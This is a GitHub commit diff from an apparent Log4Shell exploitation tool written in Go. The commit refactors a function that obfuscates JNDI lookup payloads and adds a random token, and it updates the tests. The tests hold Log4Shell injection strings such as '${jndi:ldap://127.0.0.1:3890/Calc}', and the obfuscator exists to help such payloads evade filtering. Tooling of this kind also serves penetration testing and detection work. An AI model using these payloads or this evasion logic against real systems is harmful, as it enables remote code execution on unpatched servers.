Skip to content

Commit 4d215e1

Browse files
committed
move generate token to the log4shell.Obfuscate, update tests.
1 parent 0ca58d3 commit 4d215e1

File tree

3 files changed

+72
-44
lines changed

3 files changed

+72
-44
lines changed

cmd/main.go

Lines changed: 10 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@ import (
55
"flag"
66
"fmt"
77
"log"
8-
"math/rand"
98
"os"
109
"os/signal"
1110

@@ -56,18 +55,19 @@ func banner() {
5655
func main() {
5756
// output obfuscated string
5857
if rawStr != "" {
58+
obfuscated, rwt := log4shell.Obfuscate(rawStr, !noToken)
59+
var raw string
60+
if noToken {
61+
raw = rawStr
62+
} else {
63+
raw = rwt
64+
}
65+
fmt.Printf("raw: %s\n\n", raw)
66+
fmt.Println(obfuscated)
5967
if noToken {
60-
fmt.Printf("raw: %s\n\n%s\n", rawStr, log4shell.Obfuscate(rawStr))
6168
return
6269
}
63-
64-
front := rawStr[:len(rawStr)-1]
65-
token := generateToken()
66-
last := string(rawStr[len(rawStr)-1])
67-
rawStr = fmt.Sprintf("%s_%s%s", front, token, last)
68-
fmt.Printf("raw: %s\n\n%s\n\n", rawStr, log4shell.Obfuscate(rawStr))
69-
70-
const notice = "[info] each string can only be used once, or wait %d seconds.\n"
70+
const notice = "\nEach string can only be used once, or wait %d seconds.\n"
7171
fmt.Printf(notice, log4shell.TokenExpireTime)
7272
return
7373
}
@@ -95,25 +95,6 @@ func main() {
9595
checkError(err)
9696
}
9797

98-
func generateToken() string {
99-
const n = 16
100-
101-
str := make([]rune, n)
102-
for i := 0; i < n; i++ {
103-
s := ' ' + 1 + rand.Intn(90) // #nosec
104-
switch {
105-
case s >= '0' && s <= '9':
106-
case s >= 'A' && s <= 'Z':
107-
case s >= 'a' && s <= 'z':
108-
default:
109-
i--
110-
continue
111-
}
112-
str[i] = rune(s)
113-
}
114-
return string(str)
115-
}
116-
11798
func checkError(err error) {
11899
if err != nil {
119100
log.Fatalln("[error]", err)

obfuscate.go

Lines changed: 19 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package log4shell
22

33
import (
4+
"fmt"
45
"math/rand"
56
"strings"
67
)
@@ -21,11 +22,25 @@ var skippedChars = map[byte]struct{}{
2122

2223
// Obfuscate is used to obfuscate malicious(payload) string
2324
// like ${jndi:ldap://127.0.0.1:3890/Calc} for log4j2 package.
24-
func Obfuscate(raw string) string {
25+
// Return value are obfuscated string and raw with token.
26+
func Obfuscate(raw string, token bool) (string, string) {
2527
l := len(raw)
2628
if l == 0 {
27-
return ""
29+
return "", ""
2830
}
31+
32+
// add token to the end of class name
33+
var rwt string // raw with token
34+
if token {
35+
front := raw[:len(raw)-1]
36+
token := randString(16)
37+
last := string(raw[len(raw)-1])
38+
raw = fmt.Sprintf("%s_%s%s", front, token, last)
39+
40+
rwt = raw
41+
l = len(raw)
42+
}
43+
2944
obfuscated := strings.Builder{}
3045

3146
remaining := l
@@ -54,8 +69,8 @@ func Obfuscate(raw string) string {
5469
}
5570
}
5671

72+
// obfuscate or not
5773
if skip || (!randBool() && lastObfuscated) {
58-
// not obfuscate
5974
obfuscated.WriteString(section)
6075

6176
remaining -= size
@@ -94,5 +109,5 @@ func Obfuscate(raw string) string {
94109
lastObfuscated = true
95110
}
96111

97-
return obfuscated.String()
112+
return obfuscated.String(), rwt
98113
}

obfuscate_test.go

Lines changed: 43 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -15,23 +15,55 @@ func TestObfuscate(t *testing.T) {
1515
"${jndi:ldap://127.0.0.1:3890/Nop}",
1616
"test",
1717
} {
18-
obfuscated := Obfuscate(testdata)
19-
fmt.Println(testdata)
20-
fmt.Println(obfuscated)
21-
fmt.Println()
18+
t.Run("with token", func(t *testing.T) {
19+
obfuscated, rwt := Obfuscate(testdata, true)
20+
fmt.Println(testdata)
21+
fmt.Println(rwt)
22+
fmt.Println(obfuscated)
23+
fmt.Println()
24+
})
25+
26+
t.Run("without token", func(t *testing.T) {
27+
obfuscated, rwt := Obfuscate(testdata, false)
28+
fmt.Println(testdata)
29+
require.Zero(t, rwt)
30+
fmt.Println(obfuscated)
31+
fmt.Println()
32+
})
2233
}
2334
})
2435

2536
t.Run("empty raw string", func(t *testing.T) {
26-
obfuscated := Obfuscate("")
27-
require.Zero(t, obfuscated)
37+
t.Run("with token", func(t *testing.T) {
38+
obfuscated, rwt := Obfuscate("", true)
39+
require.Zero(t, rwt)
40+
require.Zero(t, obfuscated)
41+
})
42+
43+
t.Run("without token", func(t *testing.T) {
44+
obfuscated, rwt := Obfuscate("", false)
45+
require.Zero(t, rwt)
46+
require.Zero(t, obfuscated)
47+
})
2848
})
2949

3050
t.Run("fuzz", func(t *testing.T) {
31-
for i := 0; i < 100000; i++ {
32-
raw := "${" + randString(64) + "}"
33-
obfuscated := Obfuscate(raw)
34-
require.NotZero(t, obfuscated)
35-
}
51+
t.Run("with token", func(t *testing.T) {
52+
for i := 0; i < 100000; i++ {
53+
raw := "${" + randString(64) + "}"
54+
obfuscated, rwt := Obfuscate(raw, true)
55+
require.NotZero(t, rwt)
56+
require.NotZero(t, obfuscated)
57+
}
58+
})
59+
60+
t.Run("without token", func(t *testing.T) {
61+
for i := 0; i < 100000; i++ {
62+
raw := "${" + randString(64) + "}"
63+
obfuscated, rwt := Obfuscate(raw, false)
64+
require.Zero(t, rwt)
65+
require.NotZero(t, obfuscated)
66+
}
67+
})
3668
})
3769
}

0 commit comments

Comments
 (0)